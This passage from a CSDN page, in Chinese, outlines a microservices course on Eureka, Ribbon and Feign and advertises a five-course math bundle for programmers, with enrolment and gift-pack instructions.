style="color:#333333;"> 4、带着微服务所带来的各种优缺点,为大家引入服务发现与注册的概念和原理,从而引入我们的第一个注册中心服务Eureka。 </p> <p style="color:#333333;"> 5、引入负载均衡的理念,区分什么是服务端负载均衡,什么是客户端负载均衡,进而引入Ribbon负载均衡组件的详细使用。 </p> <p style="color:#333333;"> 6、为了解决微服务之间复杂的调用,降低代码的复杂度,我们引入了Feign声明式客户端,让你几行代码搞定服务的远程调用。 </p> <p style="color:#333333;"> 7、最后为大家介绍了整个微服务体系应该包含什么,学习路线是什么,应该学习什么。 </p> <p style="color:#333333;"> <strong><br /> </strong> </p> <p style="color:#333333;"> <strong><span style="color:#337FE5;">【</span><strong><span style="color:#337FE5;">学习方法</span></strong><span style="color:#337FE5;"></span><span style="color:#337FE5;">】</span></strong> </p> <p style="color:#333333;"> 每一节课程均有代码,最好的方式是静下心来,用一天的时间,或者两个半天时间来学习。 </p> <p style="color:#333333;"> 一边听我的讲解,一边使用我提供的项目代码进行观察和运行。 </p> <p style="color:#333333;"> 只要你能跟住我的节奏,你就可以搞定微服务。 </p> <br />
套餐中一共包含5门程序员必学的数学课程(共47讲) 课程1:《零基础入门微积分》 课程2:《数理统计与概率论》 课程3:《代码学习线性代数》 课程4:《数据处理的最优化》 课程5:《马尔可夫随机过程》 哪些人适合学习这门课程? 1)大学生,平时只学习了数学理论,并未接触如何应用数学解决编程问题; 2)对算法、数据结构掌握程度薄弱的人,数学可以让你更好的理解算法、数据结构原理及应用; 3)看不懂大牛代码设计思想的人,因为所有的程序设计底层逻辑都是数学; 4)想学习新技术,如:人工智能、机器学习、深度学习等,这门课程是你的必修课程; 5)想修炼更好的编程内功,在遇到问题时可以灵活的应用数学思维解决问题。 在这门「专为程序员设计的数学课」系列课中,我们保证你能收获到这些: ①价值300元编程课程大礼包 ②应用数学优化代码的实操方法 ③数学理论在编程实战中的应用 ④程序员必学的5大数学知识 ⑤人工智能领域必修数学课 备注:此课程只讲程序员所需要的数学,即使你数学基础薄弱,也能听懂,只需要初中的数学知识就足矣。 如何听课? 1、CSDNapp:我的-我的内容库-我的课程 2、程序员学院app:我的-学习 3、pc端CSDN官网:https://edu.csdn.net/ 我的订阅-收费课 购课后如何领取免费赠送的编程大礼包? 购课后,添加助教微信: csdn590,按提示领取大礼包
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页

打赏

jimgreen

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值